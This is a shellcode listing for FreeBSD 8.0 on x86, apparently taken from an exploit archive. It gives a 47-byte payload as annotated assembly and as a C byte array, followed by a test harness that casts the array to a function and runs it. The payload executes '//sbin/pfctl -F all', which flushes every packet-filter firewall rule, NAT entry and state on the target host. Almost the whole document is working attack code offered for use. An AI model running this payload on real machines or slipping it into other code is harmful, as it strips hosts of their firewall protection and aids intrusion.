FreeBSD/x86 - //sbin/pfctl -F all Shellcode (47 bytes)

/* 
 * Title: FreeBSD 8.0-RELEASE/x86 '//sbin/pfctl -F all Shellcode 47 Bytes'
 * Type: Shellcode
 * Author: antrhacks
 * Platform: FreeBSD 8.0-RELEASE
*/
 
/* ASSembly
 31 c0                  xor    %eax,%eax
 50                     push   %eax
 68 2d 46 61 6c         push   $0x6c61462d
 89 e1                  mov    %esp,%ecx
 50                     push   %eax
 68 66 63 74 6c         push   $0x6c746366
 68 69 6e 2f 70         push   $0x702f6e69
 68 2f 2f 73 62         push   $0x62732f2f
 89 e3                  mov    %esp,%ebx
 50                     push   %eax
 51                     push   %ecx
 53                     push   %ebx
 89 e1                  mov    %esp,%ecx
 50                     push   %eax
 51                     push   %ecx
 53                     push   %ebx
 b0 3b                  mov    $0x3b,%al
 50                     push   %eax
 cd 80                  int    $0x80
 31 c0                  xor    %eax,%eax
 50                     push   %eax
 50                     push   %eax
 cd 80                  int    $0x80
*/
 
 
#include <stdio.h>
 
int main(){
char shellcode[] = "\x31\xc0\x50\x68\x2d\x46\x61\x6c\x89\xe1\x50\x68\x66\x63\x74\x6c"
"\x68\x69\x6e\x2f\x70\x68\x2f\x2f\x73\x62\x89\xe3\x50\x51\x53"
"\x89\xe1\x50\x51\x53\xb0\x3b\x50\xcd\x80\x31\xc0\x50\x50\xcd\x80"; 
 
 printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 );
 
(*(void (*)())shellcode)();
 
return 0;
}